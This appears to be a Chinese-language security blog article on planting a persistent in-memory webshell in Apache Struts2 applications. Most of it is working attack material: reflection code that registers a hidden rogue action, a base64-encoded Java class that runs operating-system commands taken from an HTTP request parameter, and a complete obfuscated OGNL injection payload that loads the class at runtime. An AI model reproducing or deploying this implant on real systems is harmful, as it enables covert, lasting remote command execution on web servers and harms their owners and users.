步履维艰之Struts2内存马
字数 692 2025-08-25 22:58:40
Struts2内存马注入技术深入解析
0x01 背景
Struts2框架因其OGNL表达式执行特性常被用于漏洞利用,但传统利用方式需要每次执行命令时重新加载恶意类,效率较低。本文探讨如何通过注入内存马实现持久化控制。
0x02 代码注入内存马成功
实现原理
在Action中直接执行代码注入内存马,通过修改Struts2的运行时配置,添加恶意Action映射。
关键步骤
- 配置struts.xml文件:
<action name="login111" class="com.demo.action.LoginAction" method="test2">
<result name="success">/index.jsp</result>
</action>
- 在Action方法中注入内存马:
public String test2() throws Exception {
// 获取运行时配置
ConfigurationManager configurationManager = ConfigurationManager.getConfigurationManager();
Configuration configuration = configurationManager.getConfiguration();
RuntimeConfiguration runtimeConfiguration = configuration.getRuntimeConfiguration();
// 获取namespaceActionConfigs映射
Map<String, Map<String, ActionConfig>> namespaceActionConfigs = runtimeConfiguration.getNamespaceActionConfigs();
// 创建恶意Action配置
ActionConfig actionConfig = new ActionConfig.Builder("", "onlysecurity", "com.demo.action.Cmd").build();
// 添加恶意Action映射
Map<String, ActionConfig> actionConfigs = namespaceActionConfigs.get("");
actionConfigs.put("onlysecurity", actionConfig);
return SUCCESS;
}
0x03 OGNL注入内存马失败分析
0x001 OGNL注入失败问题
- 类加载器问题:OGNL表达式执行环境与Web应用类加载器隔离,无法直接访问ActionContext等关键类
- 线程创建限制:在OGNL表达式中创建新线程存在限制
0x002 问题1解决方案尝试
尝试通过ClassLoader.defineClass直接加载类:
String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
URLClassLoader loader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
byte[] decode = java.util.Base64.getDecoder().decode(s);
java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var47.setAccessible(true);
var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
0x003 问题2解决方案
通过#this.class.getClassLoader()获取正确的类加载器:
ClassLoader loader = Thread.currentThread().getContextClassLoader();
System.out.println(loader);
0x04 OGNL注入内存马最终方案
完整实现代码
import java.util.LinkedHashMap;
public class hello {
public hello(java.util.Map obj5) throws Exception {
try {
String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAMAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
ClassLoader loader = Thread.currentThread().getContextClassLoader();
System.out.println(loader);
byte[] decode = java.util.Base64.getDecoder().decode(s);
java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var47.setAccessible(true);
var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
try {
java.lang.reflect.Constructor<?> constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig").getDeclaredConstructor(new Class[]{String.class, String.class, String.class});
constructor.setAccessible(true);
java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("");
o1.put("onlysecurity", constructor.newInstance("f0ng", "onlysecurity", "com.demo.action.Cmd"));
}catch (Exception e2) {
}
}catch (Exception e){
}
}
public static void main(String[] args, java.util.Map obj5) throws Exception {
hello aa = new hello(obj5);
}
}
OGNL注入Payload
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#inv=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation'),#f2=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation').getClass().getDeclaredField("proxy"),#f2.setAccessible(true),#obj=#f2.get(#inv),#f3=#obj.getClass().getSuperclass().getDeclaredField("configuration"),#f3.setAccessible(true),#obj2=#f3.get(#obj),#f4=#obj2.getClass().getDeclaredField("runtimeConfiguration"),#f4.setAccessible(true),#obj3=#f4.get(#obj2),#f5=#obj3.getClass().getDeclaredField("namespaceActionConfigs"),#f5.setAccessible(true),#obj4=#f5.get(#obj3),#f6=#obj4.getClass().getDeclaredField("m"),#f6.setAccessible(true),#obj5=#f6.get(#obj4),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/xxxxx/")},#cc0=new java.net.URLClassLoader(#bb0,#this.class.getClassLoader()),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},#obj5),#ot.println(ClassLoader.getSystemClassLoader()),#ot.flush(),#ot.close()}
0x05 总结
关键技术点
- 类加载器选择:必须使用
#this.class.getClassLoader()获取正确的Web应用类加载器 - 反射机制:通过反射修改Struts2运行时配置
- 内存马注入:动态添加恶意Action映射实现持久化
0x06 坑点
-
命名空间处理:
- 如果context有后缀,使用
obj5.get("") - 没有后缀时,使用
obj5.get("/")
- 如果context有后缀,使用
-
调试技巧:
// 捕获异常并输出到文件 try { // 代码逻辑 } catch(Exception e) { new FileWriter("/tmp/error.txt").write(new String(Arrays.toString(e.getStackTrace()))); }